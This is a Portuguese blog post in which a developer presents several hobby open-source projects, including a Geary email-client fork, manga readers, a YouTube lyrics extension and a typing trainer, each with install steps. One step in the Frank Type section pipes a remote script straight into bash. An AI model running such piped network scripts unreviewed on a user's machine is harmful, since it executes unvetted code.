<p>E hoje eu passei o dia adicionando suporte a temas, porque alguém no X comentou que o visual dava pra lembrar Evangelion. Desafio aceito: agora tem o tema <code>evangelion</code> (roxo e lavanda) e o tema <code>nerv</code> (vermelho, âmbar e verde, inspirado nas telas de alerta da série), alternando em runtime com <code>Shift+T</code>. O tema é injetado nos widgets via variável de ambiente, então os painéis acompanham a paleta.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/clock-tui-nerv.webp" alt="clock-tui com o tema NERV: relógio digital em vermelho com widgets de system health, calendário e GitHub em âmbar e verde."  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/clock-tui-evangelion.webp" alt="clock-tui com o tema Evangelion: a mesma tela na paleta roxa e lavanda da EVA-01."  loading="lazy" /></p>
<p>Instalação no Arch: <code>yay -S clock-tui-bin</code>. Os widgets: <code>yay -S ghpending-bin</code> (também tem <code>brew install</code> via <code>akitaonrails/tap</code> no macOS) e <code>yay -S google-calendar-tui-bin</code>. Todos têm binários prontos nas releases do GitHub pra quem não usa Arch.</p>
<h2>github-visualize: inútil, mas bonito<span class="hx:absolute hx:-mt-20" id="github-visualize-inútil-mas-bonito"></span>
    <a href="#github-visualize-in%c3%batil-mas-bonito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse nasceu por causa do artigo do Jarred Sumner sobre reescrever o TypeScript do Bun em Rust, sobre o qual eu <a href="/2026/07/09/resposta-sobre-bun-em-rust-que-andrew-kelly-deveria-ter-feito/">postei recentemente</a>. Não sei qual ferramenta ele usou pra ilustrar o post, mas eu gostei demais das animações dos gráficos. É inútil? É. Mas é bonito, e beleza é motivo suficiente pra fazer uma cópia.</p>
<p>O <a href="https://github.com/akitaonrails/github-visualize"target="_blank" rel="noopener">github-visualize</a> é um dashboard self-hosted que monitora meus repositórios do GitHub e faz replay do progresso deles com visualizações animadas: timeline de commits com linhas adicionadas e deletadas em escala logarítmica, heat map de commits por dia e hora, corrida de CI até o verde. Agora eu adiciono qualquer repositório meu e tenho visualizações bonitas de produtividade, atividade, commits e builds. Talvez eu use em slides de apresentação, ou pra ilustrar posts futuros aqui no blog.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/github-visualize-timeline.webp" alt="Replay animado da timeline de commits no github-visualize: linhas adicionadas em rosa e deletadas em ciano, com contadores animados e feed de git log."  loading="lazy" /></p>
<p>Instalação: imagem pública no Docker Hub como <a href="https://hub.docker.com/r/akitaonrails/github-visualize"target="_blank" rel="noopener"><code>akitaonrails/github-visualize</code></a>, container único com SQLite num volume, sem banco externo nem Redis.</p>
<h2>Frank Geary: email do jeito que eu queria<span class="hx:absolute hx:-mt-20" id="frank-geary-email-do-jeito-que-eu-queria"></span>
    <a href="#frank-geary-email-do-jeito-que-eu-queria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu decidi usar o Geary, do GNOME, como meu cliente de email principal. É o que chega mais perto da interface do Mail padrão da Apple: limpo, direto, sem cerimônia. Eu sei, existe o Thunderbird, mas eu o acho inchado e muito feio. Existe o Mailspring, que eu acho inchado e pesado. Meu fluxo de email é curto: varrer a inbox, taggear, arquivar e responder. Nada além disso.</p>
<p>O Geary é quase perfeito, mas tinha dois problemas grandes pra mim. Primeiro: no meu monitor vertical, sobra muito menos espaço horizontal, e o Geary tem 3 colunas fixas. A primeira coluna, que só lista contas e pastas/tags, eu não preciso ver o tempo todo, mas não existia jeito de recolher.</p>
<p>Segundo, e mais grave: o campo de destinatário do compositor na prática não autocompletava nada (o Geary até tem o mecanismo, mas com um filtro de visibilidade de contatos tão restritivo que nunca sugeria ninguém). Eu tinha que digitar o endereço na mão ou copiar e colar de outro email. Em 2026.</p>
<p>Minha primeira solução foram dois módulos GTK externos injetados no Geary, um pra cada problema (ambos obsoletos agora). Funcionavam, mas exigiam instalar o Geary compilado do source, e a cada <code>yay -Syu</code> lá ia ele recompilar tudo de novo.</p>
<p>Cansei e fiz o que deveria ter feito desde o início: forkei o Geary e criei o <a href="https://github.com/akitaonrails/frank_geary"target="_blank" rel="noopener">Frank Geary</a>, que adiciona as duas funcionalidades direto no código. A barra lateral agora recolhe, e o destinatário autocompleta consultando os contatos dos emails existentes. Vou manter o fork rebaseando do upstream com frequência.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-geary-autocomplete.webp" alt="Popup de autocomplete de destinatário no compositor do Frank Geary, sugerindo contatos conforme você digita."  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-geary-sidebar.webp" alt="Frank Geary com a barra lateral de contas recolhida: só a lista de conversas e a leitura, perfeito pra monitor vertical."  loading="lazy" /></p>
<p>E a melhor parte: agora tem pacote no AUR, então instalar é assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">yay -S frank-geary-bin    <span class="c1"># binário pronto (x86_64), da release do GitHub</span>
</span></span><span class="line"><span class="cl">yay -S frank-geary        <span class="c1"># ou compilando do source</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Os dois pacotes substituem o <code>geary</code> do sistema (fazem provide/conflict nele), então a troca é limpa e as atualizações chegam como qualquer outro pacote. Um detalhe depois de instalar ou atualizar: quando a opção de vigiar email novo está ligada, o Geary continua rodando em background como serviço D-Bus, então roda um <code>geary --quit</code> pra garantir que nenhum processo antigo ficou no ar.</p>
<h2>Mangá em japonês: FrankYomik, FRANK MANGA+ e FRANK Scanlation<span class="hx:absolute hx:-mt-20" id="mangá-em-japonês-frankyomik-frank-manga-e-frank-scanlation"></span>
    <a href="#mang%c3%a1-em-japon%c3%aas-frankyomik-frank-manga-e-frank-scanlation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quem acompanha o blog sabe do meu amor por mangá japonês. Eu já <a href="/2026/03/05/meu-primeiro-fracasso-com-vibe-code-e-como-consertei-frank-yomik/">postei sobre o FrankYomik</a>, que nasceu pra eu conseguir ler os mangás originais em japonês que eu compro na Amazon do Japão.</p>
<p>O problema: mangá voltado pra público adulto (não, não é pornô! estou falando de temas como negócios ou assuntos militares) não tem &ldquo;furigana&rdquo;, que são as legendinhas em kana impressas ao lado dos kanji difíceis, indicando a leitura. Mangá shounen tem furigana em tudo, então dá pra ler com vocabulário de estudante. Os adultos assumem que você já sabe ler os kanji raros. Eu não sei.</p>
<p>O <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">FrankYomik</a> resolve isso adicionando furigana em cima da página, em tempo real: um modelo detecta os balões de fala, o manga-ocr extrai o texto e o furigana (ou uma tradução completa, via LLM local no Ollama) é renderizado por cima, tudo rodando no meu próprio hardware. E o detalhe importante: on-the-fly, por cima da imagem que eu já tenho aberto legitimamente, sem baixar nem redistribuir página nenhuma, então sem infringir copyright ou licença.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-yomik-furigana.webp" alt="FrankYomik adicionando furigana automaticamente sobre os kanji difíceis de uma página de mangá em japonês."  loading="lazy" /></p>
<p>Depois veio o <a href="https://github.com/akitaonrails/frank_mangaplus"target="_blank" rel="noopener">FRANK MANGA+</a>, sobre o qual eu <a href="/2026/05/30/manga-plus-shueisha-desktop-frank-manga-plus/">também já postei</a>. Eu pago a assinatura do Manga Plus, o app oficial da Shueisha, mas ele só deixa ler no celular (Android/iOS). Num tablet pequeno até vai, mas eu tenho um monitor Samsung Odyssey OLED de 32&quot; parado na minha frente.</p>
<p>Descobri como usar a minha própria assinatura fora do app e construí um leitor desktop em Tauri: roda em Linux, macOS e Windows, o tier gratuito funciona direto e assinante cola o próprio secret pra liberar os capítulos premium.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-mangaplus-library.webp" alt="Biblioteca do FRANK MANGA&#43; no desktop: grade de capas dos mangás da Shueisha com busca no catálogo completo."  loading="lazy" /></p>
<p>Instalação: AppImage, <code>.deb</code> e <code>.dmg</code> nas <a href="https://github.com/akitaonrails/frank_mangaplus/releases/latest"target="_blank" rel="noopener">releases</a>, ou <code>yay -S mangaplus-reader-bin</code> no Arch.</p>
<p>E finalmente, eu também leio as eventuais &ldquo;scanlations&rdquo; da comunidade: fãs escaneiam as páginas do mangá original japonês e traduzem (hoje em dia a maioria usa IA no processo, existem até modelos treinados pra reconhecer os balões de fala, e eu usei um desses no próprio FrankYomik). Essas scanlations ficam espalhadas por vários sites diferentes, tipo o MangaDex.</p>
<p>Primeiro eu fiz uma extensão de Chrome pra embelezar esses sites (hoje obsoleta), mas cansei de viver com dezenas de abas no Brave só pra sites de scanlation. Então construí o <a href="https://github.com/akitaonrails/frank_scanlation"target="_blank" rel="noopener">FRANK Scanlation</a>, na mesma linha do FRANK MANGA+: um app desktop que concentra todas as minhas scanlations favoritas num lugar só, com biblioteca, progresso de leitura por título e checagem de capítulos novos.</p>
<p>As janelas de leitura carregam o próprio site e injetam um leitor decente por cima, com spreads de página dupla e navegação por teclado. Nada é hardcoded pra site nenhum: são heurísticas que detectam sequências de imagens e numeração de capítulos em qualquer URL. Virou meu jeito preferido de ler os mangás que não existem pra comprar na Amazon nem na Shueisha.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-scanlation-library.webp" alt="Biblioteca do FRANK Scanlation: cards com capas, progresso de leitura e botão de continuar de onde parou."  loading="lazy" /></p>
<p>Instalação: AppImage, <code>.deb</code> e <code>.rpm</code> (e build de macOS) nas <a href="https://github.com/akitaonrails/frank_scanlation/releases"target="_blank" rel="noopener">releases do GitHub</a>.</p>
<h2>Frank Lyrics: decorando música linha por linha<span class="hx:absolute hx:-mt-20" id="frank-lyrics-decorando-música-linha-por-linha"></span>
    <a href="#frank-lyrics-decorando-m%c3%basica-linha-por-linha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu já <a href="/2026/04/05/transformando-youtube-num-app-de-karaoke-frank-karaoke/">postei sobre o Frank Karaoke</a>, um appzinho pra adicionar pontuação em cima do YouTube e curtir karaokê com família e amigos. Mas tem um caso de uso irmão: eu gosto de aprender música nova (abertura de anime nova, por exemplo), e o processo de decorar letra é repetir a MESMA linha várias vezes. No player do YouTube isso é um inferno: fica caçando no dedo o ponto exato da timeline pra voltar, erra por dois segundos, volta demais, passa do ponto.</p>
<p>Pra resolver isso criei o <a href="https://github.com/akitaonrails/frank_lyrics"target="_blank" rel="noopener">Frank Lyrics</a>, uma extensão de Chrome simples que descobre o timing correto de cada linha da letra usando os marcadores públicos do <a href="https://lrclib.net/"target="_blank" rel="noopener">LRCLIB</a> e injeta controles na própria página do YouTube. O LRCLIB, pra quem não conhece, é uma biblioteca aberta e comunitária de letras sincronizadas: cada linha vem com timestamp (o formato LRC clássico dos players de música), com API pública, gratuita e sem chave.</p>
<p>A extensão casa esses timestamps com o vídeo e me dá botões de repetir a linha exata que eu estou decorando, quantas vezes eu precisar, sem caçar timeline. Se você curte karaokê, o combo Frank Karaoke + Frank Lyrics deve te atender bem.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-lyrics.webp" alt="Painel do Frank Lyrics sobre um vídeo de letra no YouTube: cada linha da letra com seu timestamp e controles pra repetir a linha atual."  loading="lazy" /></p>
<p>Instalação: baixa o <code>.zip</code> das <a href="https://github.com/akitaonrails/frank_lyrics/releases"target="_blank" rel="noopener">releases</a>, descompacta, abre <code>chrome://extensions</code>, liga o modo desenvolvedor e faz &ldquo;Load unpacked&rdquo; apontando pra pasta.</p>
<h2>Frank Type: treino de digitação com prosa de verdade<span class="hx:absolute hx:-mt-20" id="frank-type-treino-de-digitação-com-prosa-de-verdade"></span>
    <a href="#frank-type-treino-de-digita%c3%a7%c3%a3o-com-prosa-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quem me acompanha há tempo sabe que eu amo meus teclados. Tem vídeos no canal Akitando sobre isso e <a href="/2024/10/24/meus-teclados-modernos-favoritos/">posts aqui no blog sobre meus teclados favoritos</a>. E de tempos em tempos eu gosto de treinar no MonkeyType. Mas eu não gosto de digitar palavras aleatórias. O TypeRacer resolve isso usando textos públicos de verdade, só que ele me obriga a esperar outros jogadores na sala (eu detesto jogos multiplayer). Ou seja: eu queria uma experiência single player, com prosa de verdade, mas com a estética do MonkeyType, que eu prefiro.</p>
<p>Então criei o <a href="https://github.com/akitaonrails/frank_type"target="_blank" rel="noopener">Frank Type</a>, um mini-clone dos dois: um treinador de digitação em Rails 8 que usa trechos normalizados de prosa em domínio público em vez de listas de palavras aleatórias. É local-first e sem cadastro: histórico de sessões, tempos e gráficos de perfil ficam no local storage do navegador. Tem até heat map de dígrafos pra mostrar quais combinações de teclas te atrasam.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/frank-type.webp" alt="Tela de prática do Frank Type: texto de domínio público pra digitar, com estatísticas e heat map de dígrafos, na estética do MonkeyType."  loading="lazy" /></p>
<p>Instalação: é um container Docker publicado como <code>akitaonrails/frank_type</code>. Um comando levanta em <code>http://localhost:3200</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://raw.githubusercontent.com/akitaonrails/frank_type/master/bin/docker-run.sh <span class="p">|</span> bash</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>distrobox-gaming: uma biblioteca de como instalar jogos no Linux<span class="hx:absolute hx:-mt-20" id="distrobox-gaming-uma-biblioteca-de-como-instalar-jogos-no-linux"></span>
    <a href="#distrobox-gaming-uma-biblioteca-de-como-instalar-jogos-no-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu jogo no mesmo PC em que trabalho, mas me recuso a misturar pacote de emulador e gambiarra de Wine com meu ambiente de desenvolvimento. A solução foi isolar os jogos inteiros dentro de um <a href="https://github.com/89luca89/distrobox"target="_blank" rel="noopener">distrobox</a> (containers que se integram ao desktop como se fossem nativos), e o <a href="https://github.com/akitaonrails/distrobox-gaming"target="_blank" rel="noopener">distrobox-gaming</a> é o repositório de playbooks Ansible que constrói essa box Arch do zero: ES-DE de frontend, emuladores standalone, cores do RetroArch, configs por jogo. Meu Arch/Omarchy host fica limpo.</p>
<p>A regra que eu me impus: todo jogo novo que eu instalo tem que virar receita Ansible reproduzível. Confesso que ainda não testei a reconstrução completa do zero, mas a ideia é essa: qualquer truque ou hack necessário fica documentado no código em vez de perdido no histórico do shell.</p>
<p>E truque é o que não falta, porque eu ando instalando abandonware antigo: a série Colin McRae Rally (da versão de PS1 com patch de 60 fps até o DiRT de 2007), Sega Rally Revo, OutRun 2006 Coast 2 Coast, entre outros. Cada um com suas manhas de Wine, seus patches e suas configurações. Sem querer, o repositório está virando uma biblioteca de documentação sobre como instalar jogos, emuladores e retro games no Linux.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/distrobox-gaming-cmr04.webp" alt="Colin McRae Rally 04 rodando na box de gaming: a tela de Service Area com o Mitsubishi Lancer Evolution antes da próxima especial."  loading="lazy" /></p>
<p>Na mesma linha existe o <a href="https://github.com/akitaonrails/distrobox-llm"target="_blank" rel="noopener">distrobox-llm</a>, que faz o mesmo isolamento pro meu ambiente de LLMs locais (CUDA, Ollama, LM Studio e companhia), deixando só o driver NVIDIA no host.</p>
<p>Instalação: clona o repositório e roda os playbooks:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nb">cd</span> ansible
</span></span><span class="line"><span class="cl">ansible-galaxy collection install -r collections/requirements.yml
</span></span><span class="line"><span class="cl">cp host_vars/localhost.yml.example host_vars/localhost.yml
</span></span><span class="line"><span class="cl"><span class="nv">$EDITOR</span> host_vars/localhost.yml
</span></span><span class="line"><span class="cl">ansible-playbook site.yml</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>aitrepreneur-docker: ComfyUI sem sujar o sistema<span class="hx:absolute hx:-mt-20" id="aitrepreneur-docker-comfyui-sem-sujar-o-sistema"></span>
    <a href="#aitrepreneur-docker-comfyui-sem-sujar-o-sistema" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra geração de imagens eu gosto do ComfyUI, e <a href="/2025/04/20/entendendo-o-basico-de-comfyui-pra-gerar-imagens-com-i-a/">postei sobre ele ano passado</a>. Eu acompanho um youtuber chamado <a href="https://www.youtube.com/@Aitrepreneur"target="_blank" rel="noopener">Aitrepreneur</a> que mantém uma página no Patreon com receitas pra instalar e configurar o ComfyUI com os modelos e workflows mais recentes. O trabalho de curadoria dele é ótimo, mas as receitas são scripts <code>.sh</code> old school, pensados pra rodar one-shot numa instância do RunPod, por exemplo.</p>
<p>Agora que as LLMs evoluíram a ponto de escreverem Dockerfiles decentes, criei o <a href="https://github.com/akitaonrails/aitrepreneur-docker"target="_blank" rel="noopener">aitrepreneur-docker</a>, que converte esses scripts em imagens e containers Docker de verdade: versões pinadas, dados persistentes no host ou NAS, um comando pra subir ou atualizar cada app. Assim eu rodo tudo isolado na minha máquina, sem entulhar meu Linux com toneladas de pacotes Python e gambiarras que poderiam desestabilizar o sistema.</p>
<p>Dois avisos importantes. O crédito da seleção de stack, curadoria de modelos e workflows é todo do Aitrepreneur: o repositório só traduz o trabalho dele pra forma de Docker, e os scripts originais dele são conteúdo pago do Patreon que NÃO está incluído.</p>
<p>Se achar útil, <a href="https://www.patreon.com/c/aitrepreneur/home"target="_blank" rel="noopener">assine o Patreon dele</a> pra contribuir com a criação de conteúdo (é lá que você pega os arquivos originais). E o repositório não cobre tudo que ele já produziu, só as receitas mais recentes.</p>
<p>Instalação: <code>git clone</code>, <code>make setup</code> (cria o <code>.env</code> pra você colocar seu token da Hugging Face), <code>make build</code> e <code>make up</code>.</p>
<h2>E tem mais de onde vieram esses<span class="hx:absolute hx:-mt-20" id="e-tem-mais-de-onde-vieram-esses"></span>
    <a href="#e-tem-mais-de-onde-vieram-esses" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você é novo por aqui: isso é só a leva que ainda não tinha aparecido no blog. Tem muito mais projeto que eu já cobri em posts dedicados. O <a href="/2026/06/16/ai-memory-memoria-longo-prazo-karpathy-wiki-auto-aprendizado-hermes-projetos/">ai-memory</a> é o mais popular, mais usado e com mais contribuições de todos. O <a href="/2026/05/24/dicas-e-toolkit-de-ia-do-akita-ai-jail-ai-memory-ai-usagebar/">ai-jail</a>, que apareceu de novo no <a href="/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/">post de ontem sobre agentes destrutivos</a>, foi o primeiro da série e é o segundo mais popular.</p>
<p>E tem os outros da série Frank (&ldquo;Frank&rdquo; em homenagem ao Frank Rosenblatt, criador do perceptron, a rede neural original; o nome marca os projetos experimentais que eu faço por diversão):</p>
<ul>
<li><a href="/2026/02/23/vibe-code-fiz-um-indexador-inteligente-de-imagens-com-ia-em-2-dias/">Frank Sherlock</a>: indexador inteligente de imagens</li>
<li><a href="/2026/02/21/vibe-code-fiz-um-clone-do-mega-em-rails-em-1-dia-pro-meu-home-server/">Frank Mega</a>: clone do MEGA pro meu home server</li>
<li><a href="/2026/02/01/vibe-code-fiz-um-editor-de-markdown-do-zero-com-claude-code-frankmd-part-1/">FrankMD</a>: editor de markdown</li>
<li><a href="/2026/03/09/atacando-fraudes-via-email-frank-fbi/">Frank FBI</a>: analisador de fraudes por email</li>
<li><a href="/2026/03/27/ensinando-a-questionar-noticias-frank-investigator/">Frank Investigator</a>: ensina a questionar notícias</li>
</ul>
<p>Tudo é open source e está no <a href="https://github.com/akitaonrails"target="_blank" rel="noopener">meu GitHub</a>. Todo mundo é bem-vindo pra contribuir com issues, pull requests, ou simplesmente compartilhando com os amigos. Cada um desses projetos nasceu de um probleminha real meu. Vai que um deles resolve o seu também.</p>
]]></content:encoded><category>vibe-coding</category><category>open-source</category><category>inteligencia-artificial</category></item></channel></rss>